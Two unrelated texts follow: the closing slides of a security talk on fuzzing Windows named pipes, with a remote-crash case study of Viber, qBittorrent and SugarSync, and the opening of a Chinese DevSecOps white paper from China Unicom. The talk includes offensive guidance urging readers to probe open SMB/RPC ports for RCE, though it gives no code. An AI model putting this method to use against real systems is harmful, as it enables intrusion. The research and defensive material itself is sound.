a computer program. • Done with fuzzers – automatic fuzzing tools • The program is then monitored for exceptions such as crashes and potential RCEs. • Typically, fuzzers are used to test programs that take structured inputs. 33 Fuzzing Two types of fuzzing approaches: Dumb (“Black Box”) • Go over all possible inputs without understanding the expected ones (sometimes implemented using random data) • Simple to implement, sometimes impossible to execute using the sequential approach Smart (“White Box”) • Understand the expected input and fuzz along the edges (mix expected data template with random values) – Smart data generation • Harder to implement, more code coverage 34 Fuzzing Named Pipes Windows IPC Fuzzing - dump-fuzzing named pipes script https://www.nccgroup.trust/us/a bout-us/resources/windows-ipc- fuzzing-tools/ 35 Exploitation And Impact 36 Exploitation And Impact • Many pieces of software work with hidden and\or undocumented APIs • The forgotten nature of named pipes leave an uncharted territory of socket-like interfaces that can contain vulnerabilities • Named pipes fall in between App PT and Infra PT. o App pentesters usually connects to typical app ports, RPC and SMB not included. o When Infra pentesters encounter RPC\SMB they try to gain credentials, not check for named pipes. • If software reads data from the named pipe without any validation of the content, the attacker might trigger Buffer Overflow leading to Denial of Service of the software and even Remote Code Execution. 37 Exploitation And Impact • If named pipe ACLs allow remote access, remote DoS or RCE can be triggered • Research of the cause behind the crash will allow the attacker to facilitate it as a zero day vulnerability • Could be used to spread a malware in an internal network, as recently seen in the WannaCry ransomware campaign GAME OVER 38 Case study: Viber, qBittorrent, SugarSync 39 Viber, qBittorrent & SugarSync case study Viber • Cellular & endpoint social communication • Free calls, text and picture sharing with anyone • Competitors of WhatsApp • 800 million users worldwide 40 Viber, qBittorrent & SugarSync case study qBittorrent • a cross-platform client for the BitTorrent protocol • Free and open-source, released under the GPLv2 • Written in C++ SugarSync • A cloud service that enables active synchronization of files across computers and other devices • Used for file backup, access, syncing, and sharing • Supports variety of operating systems, such as Android, iOS, Mac OS X, and Windows devices 41 Exploitation And Impact The applications use the widely used QT framework: • A cross-platform application development framework for desktop, embedded and mobile. Supports multiple platforms and operating systems • The applications use the qtsingleapp functionality which is responsible for writing temp files • By fuzzing the named pipe both locally and remotely, we managed to remotely crash the programs and in Qbitorrent, also a possible remote command injection 42 Demo 43 Mitigation And Defense 44 Mitigation And Defense Developers point of view Know the risk! • When creating a named pipe, set a secured ACL to allow only authorized connections to the named pipes • Follow the least privilege approach o Giving a user account only those privileges which are essential to perform its intended function • If possible, limit the maximum number of instances of a named pipe, thus effectively limiting the number of simultaneous connections 45 Mitigation And Defense Users\3rd party software clients point of view Know the risk! • Block all unnecessary SMB and RPC services (ports 135 and 445), especially over WAN/Internet • Segment the network according to security best practices • Always install the latest software security patches 46 Mitigation And Defense Hackers’ point of view Know the opportunity! • Well… Hack • Explore remotely accessible named pipes and test for RCE and DoS whenever seeing open SMB or RPC ports • Have fun! 47 Closing remarks • Windows named pipes are a forgotten, remotely accessible, socket-like interface • A whole, newly rediscovered, potential world of local and remote vulnerabilities – increased attack surface • Don’t ignore named pipes in Windows desktop applications Stay safe 48 twitter.com/Gilco83 www.linkedin.com/in/gilc83 [email protected] www.comsecglobal.com Thank you Gil Cohen Gr33tz & Th2nkz: Aviad Golan @AviadGolan, linkedin.com/in/aviadgolan Peter Savranskiy - [email protected] Reuvein Vinokurov - [email protected] Coral Benita - [email protected] Meareg Hunegnaw - [email protected] Roni Fenergi - [email protected] Sharon Ohayon - [email protected] Josh Grossman - [email protected]
pdf
CU-DevSecOps 实践白皮书 中国联合网络通信有限公司研究院 2021 年 9 月 CU-DevSecOps 实践白皮书 1 前言 万物互联的数字智能世界,推动着全球数字经济的高速发展。随 着云原生应用、大数据应用、产业互联网以及物联网智能应用软件 的不断发展,传统的软件开发流程已不能适应快速变化的业务和迭 代需要,于是敏捷开发流程应运而生。敏捷开发通过增量和迭代式 的开发模式,可以大大缩短软件的交付周期并能进行持续改进,从 而能够很好地响应快速的需求更改以及外部环境变化。近年来敏捷 开发的广泛应用和云计算技术的快速发展,促进着开发和运维的同 步优化,并进一步形成了 DevOps,即开发运维一体化。DevOps 极大 的提升了软件的交付速度,但快速的软件交付能力给软件安全性及 可靠性带来了极大挑战,因此,为了弥补 DevOps 流程中安全保护行 为缺失的问题,需要在 DevOps 中融合便捷有效的安全行为,完善 DevOps,构建 DevSecOps。 《CU-DevSecOps 实践白皮书》除介绍 DevOps 面临的安全挑战以 及 DevSecOps 的价值意义、发展现状和支撑体系之外,还结合 DevSecOps 落地过程中面临的挑战,给出了 DevSecOps 的实践指南。 该实践指南将 DevSecOps 的可执行实践分为安全文化建设阶段、安 全防护左移阶段、安全工具链构建阶段和安全运营阶段,并对不同 阶段安全活动和安全措施及方法进行了重点介绍和剖析,最后对 DevSecOps 的未来发展趋势进行了展望。 CU-DevSecOps 实践白皮书 2 参与编写单位 中国联合网络通信有限公司研究院;中国联合网络通信有限公司 广东省分公司;深圳开源互联网安全技术有限公司;绿盟科技集团 股份有限公司;杭州孝道科技有限公司;北京中科天齐信息技术有 限公司;苏州棱镜七彩信息科技有限公司;北京小佑科技有限公司; 北京安普诺信息技术有限公司。 主要撰稿人 徐雷 张小梅 郭新海 黎宇 薛强 郑明 贺文轩 严雪伦 刘军 徐锋 但吉兵 高琳 蓝鑫冲 丁攀 刘安 苏俐竹 袁曙光 刘斌 董毅 刘一赫 CU-DevSecOps 实践白皮书 3 目录 一、 DevSecOps 概述 ....................................................................................................................... 4 1.1 DevOps 面临的挑战 ............................................................................................................ 4 1.2 DevSecOps 的价值意义 ..................................................................................................... 5 1.3 DevSecOps 发展现状 ......................................................................................................... 6 1.4 DevSecOps 支撑体系 ......................................................................................................... 7 二、 DevSecOps 落地挑战 ............................................................................................................... 9 2.1 组织维度的挑战 .................................................................................................................. 10 2.2 流程维度的挑战 .................................................................................................................. 11 2.3 技术维度的挑战 .................................................................................................................. 12 2.4 治理维度的挑战 .................................................................................................................. 13 三、DevSecOps 实践....................................................................................................................... 14 3.1 安全文化建设....................................................................................................................... 14 3.2 安全防护左移....................................................................................................................... 15 3.3 安全工具链构建 .................................................................................................................. 16 3.4 安全运营实践....................................................................................................................... 26 四、DevSecOps 未来发展趋势 ...................................................................................................... 30 4.1 IAST/RASP 迎来高增长 .................................................................................................... 30 4.2 开源治理成为新的热点 ...................................................................................................... 30 4.3 漏洞与攻击建模愈发广泛 .................................................................................................. 31 4.4 安全自动化运营成为趋势 .................................................................................................. 31 CU-DevSecOps 实践白皮书 4 一、 DevSecOps 概述 1.1 DevOps 面临的挑战 在当前云网融合和数字化转型的大力推进下,作为云原生技术不 可或缺的持续交付、DevOps、微服务和容器技术正在被广泛使用。 DevOps 经过多年的发展,因其能够很好的处理软件研发和运维过程 中的易变性、不确定性、复杂性和模糊性问题,逐渐成为了当今软 件研发流程的首选技术。中国信息通信研究院发布的《中国 DevOps 现状调查报告(2021 年)》中指出,在中国目前已有超过 80%的企 业在不同程度上实践敏捷开发,DevOps 的受欢迎程度可见一斑。 DevOps 是为提升软件的研发和运维效率而诞生的,其初衷就是满 足软件系统的快速交付和持续迭代。DevOps 的主要特点包括:追求 敏捷、快速迭代,但忽视安全检查。倡导研发与运维之间的协作, 却没有要求安全部门参与到双环流程。由于 DevOps 的这些特点,导 致了许多安全问题的相继出现,如快速迭代过程中,第三方组件的 大量引入,会将组件中存在的漏洞、和不合规的许可声明引入到软 件系统中,成为潜在风险;DevOps 实践中容器技术和微服务架构的 使用,也会不可避免地引入安全风险,例如容器逃逸漏洞和 API 接 口爆炸式增长等。面对这些问题,需要从安全的角度出发,进一步 完善 DevOps,以满足新时代、新技术和新趋势下的软件系统的开发、 运维和应用。 CU-DevSecOps 实践白皮书 5 1.2 DevSecOps 的价值意义 基于对安全的需求,在 DevOps 的基础上,DevSecOps 理念被提出。 相对于 DevOps 而言,DevSecOps 增加了安全要求,可以帮助企业在 软件研发阶段便关注信息安全,从而解决大部分安全隐患。但 DevSecOps 并非简单地增加安全要求。通常来说,效率与安全是存在 冲突的,重视安全便可能降低效率。DevSecOps 的目标是在不影响效 率的前提下提升软件系统安全性,使两者能够相得益彰。首先, DevSecOps 在明确业务系统安全需求的前提下,制定贯穿软件系统全 生命周期的实践方案,通过在软件开发的不同阶段将安全工具或安 全活动进行整合,将各个信息安全孤岛进行串联,协同作战,实现 安全开发、安全测试、安全部署和安全运营的统一融合,在提升软 件系统研发过程标准化与自动化的同时,降低对效率的影响,也降 低安全的成本。 另外,DevSecOps 的实践,也对企业、研发人员、安全人员和运 维人员有着重要的意义。对于企业整体,实践 DevSecOps,可以帮助 企业保持良好的合规记录,避免安全事件导致的资产损失;对于研 发人员,实践 DevSecOps,可以在一开始就开展安全的软件开发,减 少返工、降低成本,并提升效率;对于安全运维人员,实践 DevSecOps,可以提升软件质量,降低安全事故,减少低价值的重复 任务。 软件是为业务服务,DevOps 是为软件研发效率服务。DevSecOps CU-DevSecOps 实践白皮书 6 则 是 在 DevOps 基 础 上 , 兼 顾 研 发 效 率 和 安 全 , 有 效 的 使 用 DevSecOps 才能够更全面地助力企业的业务开拓发展。 1.3 DevSecOps 发展现状 DevSecOps 由国际知名的咨询公司 Gartner 在 2012 年首次提出, 确定了安全人员也需要参与到 DevOps 的流程中,并且认为安全问题 不仅仅是安全团队的问题,更是整个业务团队都应知晓并进行合作 解决的问题。在 2016 年,Gartner 再次提出 DevSecOps 理论,推出 了现在业界共识的双环模型和一些实践思考,从此 DevSecOps 才开 始被各行各业的 IT 从业人员关注,并开始被广泛讨论和研究。 1.3.1 国外 DevSecOps 发展现状 Security Compass 在 2021 年 2 月发布了《The 2021 DevSecOps State》,该报告指出“美国和英国的绝大多数企业都在采用 DevSecOps 进行软件应用程序开发”。在报告中统计受访的美国企业 中,77%的企业表示其大多数的应用程序开发都采用了 DevSecOps, 而受访的英国企业中,这个比例达到了 68%。 面对 DevSecOps 广泛应用的形势,国外的通信运营商也开始采用 DevSecOps 进行软件应用程序开发实践,美国三大运营商之一 Comcast 在 2019 年全球信息安全领域最大最专业的风向标盛会 (RSAC)上,分享了其 DevSecOps 的实践情况,在推进 DevSecOps 落 地过程中,分为如下几个步骤: CU-DevSecOps 实践白皮书 7 (1)需获取董事会的支持,作为 DevSecOps 落地的重要前提; (2)需确立安全成熟度模型,作为建立 DevSecOps 落地实践的 参考与评价体系; (3)需依据 DevSecOps 落地需求,设计新的、匹配的组织结构; (4)需建立一系列软件开发生命周期的原则性指南。 1.3.2 国内 DevSecOps 发展现状 最近几年,国内也逐渐开始将安全因素整合到 DevOps 流程中, 越来越多的企业和机构在探讨和实践 DevSecOps 的落地方式,其中 以互联网和金融行业发展最快。2021 年中国信息通信研究院发布的 《中国 DevOps 现状调查报告(2021 年)》表明,五成以上的企业已 着手实践 DevSecOps。同时新技术的发展,如容器化、自动化编排、 云原生技术等正好契合 DevSecOps 的理念,也相应推动着 DevSecOps 的研究发展和落地实践。 我国电信运营商网络庞大且复杂,各个网元要支持复杂业务流程, 且大部分都是紧耦合的烟囱式生长方式,要在这些网元的基础上实 现 DevSecOps 的落地应用困难重重。随着电信运营商 DevOps 的不断 应用,DevOps 转向 DevSecOps 已经是大势所趋。 1.4 DevSecOps 支撑体系 DevSecOps 是一种糅合了开发、安全及运营理念的全新的安全管 理模式,其核心理念是:业务应用生命周期的每个环节都需要为安 CU-DevSecOps 实践白皮书 8 全负责,安全是整个 IT 团队(包括开发、测试、运维及安全团队) 所有成员的责任,并且需要贯穿 到从研发至运营的全过程 。 DevSecOps 实践始于组织内高层领导对 DevSecOps 理念的认可,需要 在高层领导认可的基础上开发新的协作流程、技术和工具,最终将 这些流程、技术和工具进行有效的融合统一,达到自动化的应用安 全开发和风险治理。DevSecOps 实践由组织、流程、技术和治理四个 支柱支撑,具体如图 1-1 所示。 (1)组织维度:DevSecOps 落地需要有与之适应的组织结构与文 化,并将安全纳入到日常活动和软件生命周期的管理过程中; (2)流程维度:DevSecOps 尚无固定的实践流程,不同企业、不 同项目的 DevSecOps 流程都可以因时因势而做出调整。根据任务环 境、系统复杂性、系统架构、软件设计模式、风险容忍度和系统成 熟度的不同,每个系统的生命周期都有自己独特的管理流程。但是 DevSecOps 典型的最佳流程,需要在设计、开发、测试和运维的多个 迭代阶段中逐步安全实现并完善; (3)技术维度:在 DevSecOps 实践中,技术扮演着缩短软件生 命周期和提高效率的关键角色,通过各类技术的结合使用,能够提 高软件开发、测试和部署各环节的自动化和安全水平,在加快软件 开发、测试和部署速度的同时有效提升软件的安全性,减少人工工 作量,提高效率,降低成本; (4)治理维度:在整个 DevSecOps 生命周期中评估和管理与任 务计划相关的风险,治理活动在整个软件生命周期中持续进行。 CU-DevSecOps 实践白皮书 9 图 1-1 DevSecOps 四大支柱 二、 DevSecOps 落地挑战 目前虽然各类 IT 企业和机构对 DevSecOps 的研究与讨论与日俱 增,但是相对于有业务驱动的 DevOps 来说,安全的驱动力显得尤为 不足。尤其是当面对软件交付周期所带来的压力时,应用系统的及 时交付才是最重要的指标,安全的引入却阻碍了软件系统的交付效 率。企业和个人用户对于应用系统的要求是更好的用户体验、更快 的交付速率和更强的功能,这使得安全的空间在 DevOps 中不断压缩。 因此安全活动的引入所带来的投入与时间成本的增加,不仅需要承 受着外界的压力,也承受着公司内部其他团队的诟病。 CU-DevSecOps 实践白皮书 10 图 2-1 热度趋势对比图 从图 2-1 可以看出,截止到 2021 年 9 月,最近一年里, DevSecOps(蓝线)相比于 DevOps(红线)的讨论和搜索热度,都是 远远不及的。但是随着 DevSecOps 正在由探索性的实践向高成熟度 的实践过度,出现一些质疑和挑战是必然的,重点考虑并妥善处理 这些挑战,是我们在推进 DevSecOps 发展过程中必须解决的问题。 从 DevSecOps 实践的四大支柱展开分析,其落地的挑战可以归纳 为来自于组织、流程、技术和治理四个维度的挑战。 2.1 组织维度的挑战 (1)组织文化难以改变 组织文化是 DevSecOps 在落地实践推进的过程中所面临的一大挑 战,如何处理团队之间的沟通协作问题是 DevSecOps 成功的关键因 素。在企业实际的工作中,团队间协作相关的冲突屡见不鲜,主要 协作问题之一是开发团队和安全团队之间的冲突。比如开发团队认 为安全团队成员会不客观地判断和批评他们所做的工作;开发人员 对失去开发工作的自主权感到不满等。组织中存在部门间孤岛式的 工作文化是实践 DevSecOps 的障碍,这些孤岛阻碍了业务相关者之 CU-DevSecOps 实践白皮书 11 间频繁和有效的沟通与协作。 另外由于企业不重视安全导致的工作人员的安全意识不足,也阻 碍着安全工作的开展。在典型的软件开发过程中,安全性被视为一 种非功能性需求。软件安全性通常是在软件开发完成后进行评估。 然而,在采用 DevSecOps 时,需要进行思维和行为模式的转换,其 中安全性被给予更高的优先级。为此目的,在采用 DevSecOps 时, 需要进行许多文化和行为上的改变。在人员安全意识没有完成转变 的情况下,就会出现项目成员的意识与 DevSecOps 的要求不匹配的 情况。 (2)人员缺乏相应技能 DevSecOps 提倡开发人员参与安全保障过程,并承担相应职责。 然而,由于开发人员缺乏相应的安全技能与知识阻碍了这一目标的 实现。所以,缺乏安全教育和培训的开发人员并不知道该如何实现 高安全性的软件,即便他们有意愿加强软件的安全性也无能为力。 与此同时,安全人员由于缺乏开发经验也更进一步增强了开发人员 与安全人员之间的冲突。 2.2 流程维度的挑战 (1)敏捷性与安全性之间难以平衡 由于 DevSecOps 同时包含了灵活性、复杂性和依赖性,因此要同 时实现安全性和敏捷性就成为了一个难题,在很多场景下,安全性 和敏捷性之间会表现出不兼容性。DevOps 的关键目标之一是释放速 CU-DevSecOps 实践白皮书 12 度,但许多安全测试过程不可避免地会消耗一定的时间,特别是那 些需要人工输入和确认的环节。例如,早期的自动化渗透测试工具 虽然可以快速完成渗透测试过程,但同时还需要人工配置和评估输 出。因此在 DevSecOps 落地实践的过程中,使用精简高效、主次分 明的 DevSecOps 实践方案更容易获得成功。 (2)缺乏标准化的流程和度量标准 在 DevSecOps 体系下,除去 DevOps 所包含的持续集成、持续部 署、持续运营之外,,持续安全评估也是不可或缺的实践内容。然 而,持续安全评估过程并没有行业权威或标准化的实践方案,组织 通常需要亲自设计一套适合于自身的流程,对于如何将安全措施内 嵌在 DevOps 管道中,目前缺乏行业标准和共识。由于 DevSecOps 并没有行业标准的方案,因此组织中只能按照自己的经验,自主设 定安全度量指标,其科学性难以评估和验证。对安全度量指标看法 的分歧,也进一步地加深了安全团队和开发团队之间的矛盾。 2.3 技术维度的挑战 (1)传统应用安全工具无法适应新流程 组织在考虑进行 DevSecOps 实践之前,通常已经进行过应用安全 工具的使用,但传统的应用安全工具往往无法适应以敏捷性、流程 化为特点的 DevSecOps 体系,传统的安全工具需要经过进一步的优 化改造,才能融入到 DevSecOps 体系中,适应新的流程。 (2)部分安全过程还需要人工的介入 CU-DevSecOps 实践白皮书 13 在 DevSecOps 中,由于需要快速和连续的发布,自动化起着重要 的作用。为了实现这一目标,DevOps 包含了一组连续的实践,如持 续集成、持续交付、持续运营,它们在很大程度上是自动化的。然 而,安全实践的自动化有其自身的困难,因为它们中的许多过程, 在传统上是需要手动执行的。目前难以完全实现自动化的安全保证 过程包括而不止于:安全隐私设计、安全需求分析、威胁建模和渗 透测试等。 2.4 治理维度的挑战 (1)团队融合引入新的风险 开发团队、安全团队和运营团队的融合协作,导致风险管理更加 的复杂。例如与传统体系相比,开发人员在 DevSecOps 体系中的角 色发生了变化,现在他们可以获得部分生产环境的信息和权限。更 多的人接触生产环境意味着更大的风险。开发人员可以通过访问用 于控制环境的生产设置或治理工具来对生产环境造成影响。因此随 着 DevSecOps 中角色的变化和团队的融合,内部威胁所导致的风险 会相应增加。 (2)流程打通导致攻击面扩大 与人员融合造成风险提升类似的是,技术与工具通过流程进行的 融合,也会导致攻击面的扩大。例如,CD(持续交付)阶段的一个 关键安全问题是 CD 管道本身的安全漏洞。CD 管道的大部分技术组 件在具有多个开放式 API 的环境中运行,由于其开放性,这些组件 CU-DevSecOps 实践白皮书 14 容易受到各种恶意攻击。因此理论上,CD 管道扩大了额外的攻击 面。另外,很多组织中,大多数项目团队成员都可以访问 CD 管道配 置,但由于缺乏安全知识和意识,这些成员也对基础设施和应用程 序构成了威胁。 三、DevSecOps 实践 为克服 DevSecOps 落地过程中所面临的的挑战,推进其落地实践。 本部分主要从安全文化建设、安全防护左移、安全工具链构建和安 全运营实践这几个方面展开,对上述几个部分应该进行的安全活动 和需要采取的安全措施及方法进行了重点分析,并进一步给出了安 全运营实践中各项能力的建设方法,如图 3-1 所示。 图 3-1 DevSecOps 实践 3.1 安全文化建设 在 DevSecOps 的基本理念中,安全需要贯穿整个业务生命周期的 CU-DevSecOps 实践白皮书 15 每一个环节,打造 DevSecOps 安全文化需要从思维方式、流程和技 术等方面做出整体变化,建立 DevSecOps 安全文化实践要求如下: (1)培训和意识 打造 DevSecOps 安全文化的第一步是建立跨团队的安全意识,安 全意识的形成依赖于定期进行的安全意识培训和团队所有成员对相 关安全标准和 DevSecOps 工作流程的学习。 通过提高团队成员的安全意识,使团队成员能够在业务需求分析、 规划设计、代码开发、测试、部署、运维等不同阶段认识到自动化 安全检查在 CI/CD 过程中的相关性、重要性和作用。 (2)嵌入安全流程 将安全嵌入到开发运维流程的体系中,并严格执行与管理符合安 全标准的流程,促成开发、运维和安全团队之间的密切合作,面对 业务的频繁调整和上线带来的各种安全问题,尽量在各个阶段同步 解决,而不是在业务上线部署后再仓促解决。同时,需要将持续安 全评估和安全管理工作流程自动化,以提升安全检测与验证效率。 (3)激励协作 在公司层面采取激励措施,让开发运维团队成员将安全视为共同 承担的责任,并逐步推动安全和开发运维团队之间的协作文化。 3.2 安全防护左移 在软件生命周期中,越靠后修复问题的成本越高,越靠前修复问 题的成本越低。安全左移是将安全投资更多地放到开发阶段,包括 CU-DevSecOps 实践白皮书 16 安全需求分析、安全设计、安全编码、供应链(软件库、开源软件 等)安全、镜像安全等。 在云原生环境中,业务需要频繁调整、上线,安全左移的思路不 仅让 DevSecOps 团队能够及早发现安全风险,还能降低安全投入、 提高整体的安全水平,以确保及时解决安全威胁。 3.3 安全工具链构建 DevSecOps 理念是将安全能力内建到研发运营工具中,形成 DevSecOps 研发运营安全工具链,业务应用研发运营安全生命周期主 要划分为 10 个阶段,具体包括计划、创建、验证、预发布、发布、 预防、检测、响应、预测和优化,如图 3-2 所示。 图 3-2 DevSecOps 软件安全开发生命周期 CU-DevSecOps 实践白皮书 17 3.3.1 计划阶段 在计划阶段需要根据业务安全策略、数据安全要求、合规需求、 应用系统的特性等进行快速的分类分级,并根据系统分类分级情况 分别定义不同的安全策略,进而选取合适的安全活动。在计划阶段 通常涉及的安全活动主要包含安全培训、威胁建模、安全开发衡量 指标制定等。 (1)安全培训 DevSecOps 流程方面需要让项目组成员清楚了解各个阶段需要承 担的责任与义务,并进一步对 DevSecOps 体系整体过程进行学习。 DevSecOps 工具使用方面需要对项目组成员进行培训,如:对开 发人员、安全人员进行 SAST、SCA、IAST、DAST 等工具的使用培训, 对运维管理人员进行安全基线工具、资产安全管理等工具的使用培 训。 (2)威胁建模 为满足 DevOps 快速敏捷要求,采用轻量级威胁建模方式,主要 实践步骤有以下几点:首先,通过动态调查问卷快速收集有关业务 系统、部署环境和合规性要求等方面的重要且详细的信息,根据收 集到的信息自动识别风险、威胁和潜在弱点。其次,根据预定义的 安全和合规性策略对整体风险进行分类管理。最后,输出安全设计 方案,并对安全问题进行跟踪。 (3)衡量指标 CU-DevSecOps 实践白皮书 18 根据业务应用系统的不同安全级别来制定对应的安全开发衡量指 标,用于评估实施效果。 3.3.2 创建阶段 创建阶段(即编码阶段)是对业务安全问题修复成本最低的时期, 在这方面的安全能力建设主要包括制定安全编码规范及流程、安全 组件库、安全 SDK 及风险检测插件等,通过这些能力的建设和运用, 能最大程度的保证在编码阶段消除安全风险。例如:通过制定安全 的开发流程,将创建中的每一步提交和测试纳入管理范围,保证风 险的可控性;制定安全编码规范并通过 IDE 安全插件进行源代码的 自动化安全检测,有效避免在编码阶段引入安全风险;通过使用组 件防火墙,阻止违规组件的下载,并记录阻断信息,防止不安全的 组件下载和使用等。 3.3.3 验证阶段 验证阶段(即测试阶段)安全能力主要包括自动化的应用安全测 试(AST)和软件成分分析(SCA),其中应用安全测试主要分为动 态应用安全测试(DAST)、静态应用安全测试(SAST)、交互式应 用安全测试(IAST)。将 AST 和 SCA 工具集成到 CI/CD 流程中,能 够更早的对软件进行安全测试,以及时发现安全问题。 DAST 是一种黑盒测试方法,该方法在应用测试或运行时,模拟黑 客构造特定的恶意请求,从而分析确认应用是否存在安全漏洞,是 CU-DevSecOps 实践白皮书 19 应用安全测试阶段最常用的一种测试方法。 SAST 是一种白盒测试方法,可以在创建阶段及验证阶段部署使用, 该方法能够通过分析应用程序的源代码、中间表示文件或二进制文 件等来检测潜在的安全漏洞。利用 SAST 工具进行检测不需要运行测 试的应用程序,而且理论上可以覆盖所有可能的程序路径,检测出 来的漏洞多而全,但由于未对运行应用程序进行检测,因此 SAST 工 具检测出的风险会存在一定程度的误报。 IAST 是 Gartner 在 2012 年提出的一种应用安全测试方法,该方 法寻求结合 DAST 和 SAST 的优势,其实现原理通常为通过插桩的方 式在应用环境安装 Agent,从而在软件代码特定位置插入探针,通过 执行测试用例触发请求,跟踪获取请求、代码数据流、控制流等, 然后依据测试用例的执行情况和反馈结果进行综合的判断,分析是 否存在漏洞。相比于 DAST 和 SAST,IAST 既能识别漏洞所在代码位 置,又能记录触发漏洞的请求。和 DAST 类似的是 IAST 工具仅仅能 检测已执行的程序路径,因此其检测覆盖率方面的劣势有待提升, 可以通过和现有自动测试生成工具(如模糊测试工具)相结合的方 式来进一步提高覆盖率。 SCA 是针对第三方开源软件(OSS)以及商业软件涉及的各种源码、 模块、框架和库进行分析、清点和识别,通过分析、清点和识别开 源软件的组件及其构成和依赖关系,能够识别出已知的安全漏洞或 者潜在的许可证授权问题,从而在发现安全风险的基础上,指导用 户把这些风险排查在应用系统投产之前。 CU-DevSecOps 实践白皮书 20 3.3.4 预发布阶段 预发布阶段是应用系统正式发布阶段前的阶段,应用系统在测试 环境中通过所有测试用例测试后,需要完成正式发布前最后的测试。 该阶段应用系统的所有功能和配置(例如数据库、中间件、系统配 置环境等)都与线上环境高度相似。 在 DevSecOps 工具链中预发布阶段主要包含的安全活动有混沌工 程(识别并修复故障问题)、模糊测试(监视程序异常)、集成测 试(将所有组件、模块进行组装测试)和行为基线建立(建立形成 软件的安全行为基线),除了以上安全活动外,还可以开展基线合 规检测、容器镜像检测和渗透测试等。 (1)混沌工程 混沌工程通过在受控实验中对待测系统主动注入故障的方式检测 应用系统的弱点,以达到减少故障生产的概率,和增强系统韧性的 目的。 混沌工程可以根据实际情况和成熟度情况选择合适的环境进行实 验,实验通过相关工具对应用系统进行故障攻击,如:模拟资源不 足(如:CPU、内存、IO 或磁盘不足等)、模拟基础环境错乱(如: 在主机操作系统上执行关闭、重启、更改主机的系统时间、杀死指 定进程等)、模拟网络错误(如:丢弃网络流量、增加网络延时、 DNS 服务故障等)。 (2)模糊测试 CU-DevSecOps 实践白皮书 21 模糊测试是常用的动态应用程序安全测试技术,该技术通过自动 生成测试输入来测试应用系统在不同输入下出现的状况,进而分析 运行时的异常,并检测潜在的漏洞。其核心在于如何生成有效的测 试用例,从而测试尽可能多的系统行为,由于模糊测试无法做到完 全自动化,且非常耗时,所以一般只针对于关键应用系统。 (3)集成测试 集成测试是根据设计要求将所有组件、模块进行组装后展开的系 统测试。传统的单元测试无法覆盖业务应用系统的所有功能,会有 部分安全风险无法暴露出来,因此对系统进行集成测试也是必不可 少的。 (4)行为基线建立 在准生产环境中,可以对软件系统的行为模型进行学习与建模, 形成它的行为基线,包括:进程、网络、文件读写和命令执行等。 当软件系统在生产环境运行时,如果检测到模型外行为,便可能判 定为异常事件并发送告警。 3.3.5 发布阶段 发布阶段需要对软件进行数字化签名,该签名可用于在后续预防 阶段来验证软件是否被恶意用户进行过非法篡改。软件签名是开发 人员在软件或代码发布之前,通过技术手段附加在其上的唯一安全 标识。操作系统、软件应用程序、设备等通过可信的数字签名来验 证软件或代码的来源并确认其完整性。在这个过程中,签名密钥的 CU-DevSecOps 实践白皮书 22 安全保护直接影响到软件签名的安全性,因此,将密钥存储在具有 防篡改和密码保护的专用硬件密码保护设备中。 3.3.6 预防阶段 预防阶段是正式上线运营前的最后一个阶段,在此阶段过程中需 要通过对签名验证、完整性检查来保证应用及其部署环境的安全性。 (1)签名验证 在部署软件时应对软件进行签名验证,校验软件是否被篡改,保 证部署的软件是未经非法篡改的。 (2)完整性检查 检查应用程序组件的完整性,如可执行文件、配置文件和各种二 进制模块是否被更改或损坏。黑客可以将应用程序模块或文件替换 为其他包含恶意代码的模块或文件从而开展攻击,如果应用程序模 块或文件的校验不正确,应用系统不应该继续加载或执行这些模块 或文件。 3.3.7 检测阶段 检测阶段通过部署相关安全工具对业务系统进行安全防御、威胁 检测和安全感知等,从而及时的发现安全风险,为响应阶段的处置 建立良好的基础。在此阶段常用技术包括运行时应用程序自保护 (RASP)、用户和实体行为分析(UEBA)、网络流量监控、渗透测 试和资产安全监控等。 CU-DevSecOps 实践白皮书 23 (1)运行时应用程序自保护 RASP 通过将安全能力原生化,内嵌于运行时的应用程序中,使得 应用程序具备运行时安全攻击的检测和阻断能力。与 Web 应用程序 防火墙 (WAF) 相比,RASP 的主要优势在于检测应用程序行为来确 定访问请求是否为攻击,在面对 Web 应用防火墙无法防御的加密场 景和其规则无法覆盖到的攻击行为时,RASP 能够进行有效的检测和 防护。随着 DevOps 变得越来越普遍,RASP 因其具备识别攻击快速且 准确、能够定位安全漏洞风险代码、持续实时的监控和快速融入软 件开发等特性,逐步被业内的安全防护实践方案采用。 (2)用户和实体行为分析 UEBA 通过分析系统日志等运行时数据建立用户和实体正常行为模 型,并基于该模型检测系统运行异常或者用户行为异常。当出现异 常行为时,UEBA 可以有效地提醒安全人员。 (3)网络流量分析 根据 Gartner 的定义,网络流量分析结合机器学习、高级分析 和基于规则的检测方式来发现网络上的可疑活动。网络流量分析系 统通过持续分析原始流量或流记录(例如 NetFlow),以构建正常 的网络行为模型,当网络流量分析工具检测到异常的流量模式时会 发出警报,并及时提醒安全运维人员。 (4)渗透测试 渗透测试是通过对应用程序及环境中的目标系统进行模拟攻击, 并进行全面安全评估的过程。通过渗透测试不但可以发现系统中存 CU-DevSecOps 实践白皮书 24 在漏洞,还可以检验安全防护措施的有效性,在实践中除了邀请专 家团队进行渗透测试外,还会引入攻防对抗演练等内容。 (5)资产安全监控 以网络资产为主线,通过远程探测方式对网络资产指纹及风险状 态进行检测跟踪,实现从漏洞发现到漏洞跟踪到漏洞修复及验证的 全生命周期的闭环管理,并展示资产安全综合评估得分、全网资产 的指纹统计情况、资产及漏洞分布情况、漏洞影响资产范围等信息。 3.3.8 响应阶段 通过自动化安全工具的检测,可以有效的发现一些安全风险,在 发现安全风险的基础上,下一步需要在运营和安全监控工作中,对 风险进行有效的响应。 (1)安全编排 调度和编排虚拟和物理安全资源池,实现安全资源自动分配、安 全业务自动化发放、安全策略自动适应网络业务变化、全网高级威 胁实时响应防护等能力需求。 (2)RASP/WAF 的防护 通过 RASP/WAF 监测应用程序运行时遭受到的攻击,并在记录相 应攻击行为的同时产生告警信息,指导安全运维人员采取防御措施, 同时更新 RASP/WAF 防护策略。 CU-DevSecOps 实践白皮书 25 3.3.9 预测阶段 预测阶段是在业务系统上线运行后,结合历史漏洞、攻击事件、 威胁情报等信息,主动分析发现、预测未被发现或利用的漏洞风险、 攻击风险等内容。 (1)漏洞相关性分析 漏洞相关性分析把不同的安全工具(如:SAST、DAST、IAST、 RASP、SCA)所检测到的漏洞,以及人工渗透测试发现的漏洞,通过 相关性分析进行自动关联,进一步确认漏洞是否存在以及漏洞是否 被全面修复。 (2)威胁情报 威胁情报包括恶意资源信息、恶意样本、安全隐患信息和安全事 件信息等,其中恶意资源信息指实施网络攻击的恶意 IP 地址、恶意 域名、恶意 URL 